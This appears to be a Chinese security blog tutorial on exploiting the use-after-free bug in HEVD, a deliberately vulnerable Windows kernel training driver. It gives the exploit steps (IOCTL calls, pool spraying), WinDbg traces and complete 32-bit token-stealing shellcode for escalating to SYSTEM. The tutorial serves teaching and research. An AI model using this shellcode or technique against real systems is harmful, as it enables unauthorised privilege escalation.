HEVD UAF漏洞分析

阅读量326885

|

发布时间 : 2019-02-27 10:24:46

 

环境准备

Win 10 64位 主机  +  win 7  32位虚拟机

Windbg:调试器

VirtualKD-3.0:双击调试工具

InstDrv:驱动安装,运行工具

HEVD:一个Windows内核漏洞训练项目,里面几乎涵盖了内核可能存在的所有漏洞类型,非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等

 

漏洞简单分析

漏洞代码

    typedef struct _USE_AFTER_FREE {

        FunctionPointer Callback;

        CHAR Buffer[0x54];

    } USE_AFTER_FREE, *PUSE_AFTER_FREE;



NTSTATUS UseUaFObject() {

    NTSTATUS Status = STATUS_UNSUCCESSFUL;



    PAGED_CODE();



    __try {

        if (g_UseAfterFreeObject) {

            DbgPrint("[+] Using UaF Object\n");

            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);

            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);

            DbgPrint("[+] Calling Callback\n");



            if (g_UseAfterFreeObject-> Callback) {

                g_UseAfterFreeObject->Callback();

            }



            Status = STATUS_SUCCESS;

        }

    }

    __except (EXCEPTION_EXECUTE_HANDLER) {

        Status = GetExceptionCode();

        DbgPrint("[-] Exception Code: 0x%X\n", Status);

    }



    return Status;

}

以上代码就可能出现Use After Free, g_UseAfterFreeObject虽然被释放,但是如果没有设置为NULL,然后再调用 Callback(), 而callback的值我们又可以控制,那么我们就能利用该漏洞。

  • 漏洞调试与利用

正如Use after Free字面上的意思,该漏洞形成的原因是空间被释放后,再次被使用。所以本实例代码的流程大致如下:

实际上,该种漏洞利用起来并没有那么容易,只是在HEVD中,已经人为制造了相关利用条件。

我们先大致看下利用代码过程。

(1)申请空间

    // 创建对象

    // 调用 AllocateUaFObject对象

    //__debugbreak();

DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);

(2)释放空间

    // 调用FreeUaFObject

    // 释放对象

DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);

(3)覆盖空间内容

    // 先编写ShellCode



    PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));

    fakeG_UseAfterFree->countinter = ShellCode;

    RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'B');



    // 喷射

    //__debugbreak();

    for (int i = 0; i < 5000; i++)

    {

        DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);

}

(4)再次使用空间

DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

这里我们重点讲下(3)中的覆盖空间,这里其实就是利用堆喷的技巧,之前研究HEVD池溢出分析(https://www.anquanke.com/post/id/170446)的时候,我们已经说过。假设我们有一个大小n的内核pool chunk A, 然后释放该chunk。 当我们再次申请同样大小的chunk时,就有可能又会申请到A,只是概率较低,但是如果我们大量申请同样大小的chunk,就有很大的概率又申请到A空间。

我们再次回到代码中去,我们知道g_UseAfterFreeObject是一个全局变量,其值是调用ExAllocatePoolWithTag()函数申请的。然后调用

ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

函数释放该空间,但是并未将g_UseAfterFreeObject的值设置为NULL,然后门申请大量与g_UseAfterFreeObject空间相同的空间,并填充我们构造的值,我们会发现g_UseAfterFreeObject指向的内容已经被改变,变成了我们的值,如果再次调用g_UseAfterFreeObject-> Callback()的话,就会执行我们的代码。

下面我们使用windbg简单跟踪调试下:

我们下三个断点(这里强调下,驱动代码是我自己编译的,有符号表,所以可以直接对函数名下断点,如果你是网上直接下的驱动,需要自己定位偏移)

bp HEVD!AllocateUaFObject

bp HEVD!FreeUaFObject

bp HEVD!UseUaFObject

运行利用程序,程序首先断在NTSTATUS AllocateUaFObject()函数处,

P 单步执行到

我们看下

g_UseAfterFreeObject的值,

kd> dd g_UseAfterFreeObject

96773008  85d47338 00000000 00000000 00000000

96773018  00000000 00000000 00000000 00000000

96773028  00000000 00000000 00000000 00000000

96773038  00000000 00000000 00000000 00000000

96773048  00000000 00000000 00000000 00000000

96773058  00000000 00000000 00000000 00000000

96773068  00000000 00000000 00000000 00000000

96773078  00000000 00000000 00000000 00000000

kd> dt HEVD!PUSE_AFTER_FREE 96773008

0x85d47338

   +0x000 Callback         : 0x967751bc     void  HEVD!UaFObjectCallback+0

   +0x004 Buffer           : [84]  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

再看下其所在的pool chunk

kd> !pool 85d47338

Pool page 85d47338 region is Nonpaged pool

 85d47000 size:  2e8 previous size:    0  (Allocated)  Thre (Protected)

 85d472e8 size:   48 previous size:  2e8  (Free)       ....

*85d47330 size:   60 previous size:   48  (Allocated) *Hack

      Owning component : Unknown (update pooltag.txt)

 85d47390 size:   f8 previous size:   60  (Free)       Thre

 85d47488 size:  2e8 previous size:   f8  (Allocated)  Thre (Protected)

 85d47770 size:   88 previous size:  2e8  (Free)       Io 

 85d477f8 size:  2f8 previous size:   88  (Allocated)  usbp

 85d47af0 size:  510 previous size:  2f8  (Free)       XSav

大小为60h = 96 = 8(pool chunk header) + sizeof(USE_AFTER_FREE)。

状态为Allocated的。

Kd>g  继续执行,程序断在NTSTATUS FreeUaFObject()处

P单步运行程序到释放空间后,再观察g_UseAfterFreeObject的pool chunk信息

kd> dt HEVD!PUSE_AFTER_FREE 96773008

0x85d47338

   +0x000 Callback         : (null)

   +0x004 Buffer           : [84]  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

kd> !pool 85d47338

Pool page 85d47338 region is Nonpaged pool

 85d47000 size:  2e8 previous size:    0  (Allocated)  Thre (Protected)

 85d472e8 size:   48 previous size:  2e8  (Free)       ....

*85d47330 size:   60 previous size:   48  (Free ) *Hack

      Owning component : Unknown (update pooltag.txt)

 85d47390 size:   f8 previous size:   60  (Free)       Thre

 85d47488 size:  2e8 previous size:   f8  (Allocated)  Thre (Protected)

 85d47770 size:   88 previous size:  2e8  (Free)       Io 

 85d477f8 size:  2f8 previous size:   88  (Allocated)  usbp

 85d47af0 size:  510 previous size:  2f8  (Free)       XSav

Pool chunk的状态已经由Allocated变成了Free

Kd>g 继续执行程序,程序断在NTSTATUS UseUaFObject()处,此时程序堆喷代码已经被执行完成。再次观察g_UseAfterFreeObject的内容

kd> dt HEVD!PUSE_AFTER_FREE 96773008

0x85d47338

   +0x000 Callback         : 0x003c1f90     void  +d0000

   +0x004 Buffer           : [84]  "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

kd> !pool 85d47338

Pool page 85d47338 region is Nonpaged pool

 85d47000 size:  2e8 previous size:    0  (Allocated)  Thre (Protected)

 85d472e8 size:   48 previous size:  2e8  (Free)       ....

*85d47330 size:   60 previous size:   48  (Allocated) *Hack

      Owning component : Unknown (update pooltag.txt)

 85d47390 size:   38 previous size:   60  (Free)       Thre

 85d473c8 size:   60 previous size:   38  (Allocated)  Hack

可见g_UseAfterFreeObject的内容已经被我们的堆喷内容覆盖了,即我们大量申请相同的空间时,重新申请到了之前g_UseAfterFreeObject所在的位置。

0x003c1f90地址处正是我们的shellcode内容

kd> uf 0x003c1f90

003c1f90 53              push    ebx

003c1f91 56              push    esi

003c1f92 57              push    edi

003c1f93 90              nop

003c1f94 90              nop

003c1f95 90              nop

003c1f96 90              nop

003c1f97 60              pushad

003c1f98 64a124010000    mov     eax,dword ptr fs:[00000124h]

003c1f9e 8b4050          mov     eax,dword ptr [eax+50h]

003c1fa1 8bc8            mov     ecx,eax

003c1fa3 ba04000000      mov     edx,4



003c1fa8 8b80b8000000    mov     eax,dword ptr [eax+0B8h]

003c1fae 2db8000000      sub     eax,0B8h

003c1fb3 3990b4000000    cmp     dword ptr [eax+0B4h],edx

003c1fb9 75ed            jne     003c1fa8  Branch



003c1fbb 8b90f8000000    mov     edx,dword ptr [eax+0F8h]

003c1fc1 8991f8000000    mov     dword ptr [ecx+0F8h],edx

003c1fc7 61              popad

003c1fc8 c3              ret

这里可以看到,我们的shellcode前面多了三行 push 代码,这是因为,我们的shellcode是以函数的形式调用的,在进入函数的时候,自动有入栈的push操作,这个实例中多的这三行代码并没有影响代码执行。

但是有时候多的代码也会影响程序的流程,造成漏洞利用失败,这时我们可以把shellcode放到数组中,然后调用。

char shellcode[] =

"\x90\x90\x90\x90"              //# NOP Sled

"\x60"                          //# pushad

"\x64\xA1\x24\x01\x00\x00"      //# mov eax, fs:[KTHREAD_OFFSET]

"\x8B\x40\x50"                  //# mov eax, [eax + EPROCESS_OFFSET]

"\x89\xC1"                      //# mov ecx, eax(Current _EPROCESS structure)

"\x8B\x98\xF8\x00\x00\x00"      //# mov ebx, [eax + TOKEN_OFFSET]

"\xBA\x04\x00\x00\x00"          //# mov edx, 4 (SYSTEM PID)

"\x8B\x80\xB8\x00\x00\x00"      //# mov eax, [eax + FLINK_OFFSET]

"\x2D\xB8\x00\x00\x00"          //# sub eax, FLINK_OFFSET

"\x39\x90\xB4\x00\x00\x00"      //# cmp[eax + PID_OFFSET], edx

"\x75\xED"                      //# jnz

"\x8B\x90\xF8\x00\x00\x00"      //# mov edx, [eax + TOKEN_OFFSET]

"\x89\x91\xF8\x00\x00\x00"      //# mov[ecx + TOKEN_OFFSET], edx

"\x61"                          //# popad

"\xC3";                         //# ret

最后贴个成功提权的图:

 

参考文章

[1]. https://bbs.pediy.com/thread-247019.htm

利用代码:https://github.com/redogwu/blog_exp_win_kernel/blob/master/kernel_uaf_1.cpp

本文由PandaIsCoding原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/171871

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
PandaIsCoding
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66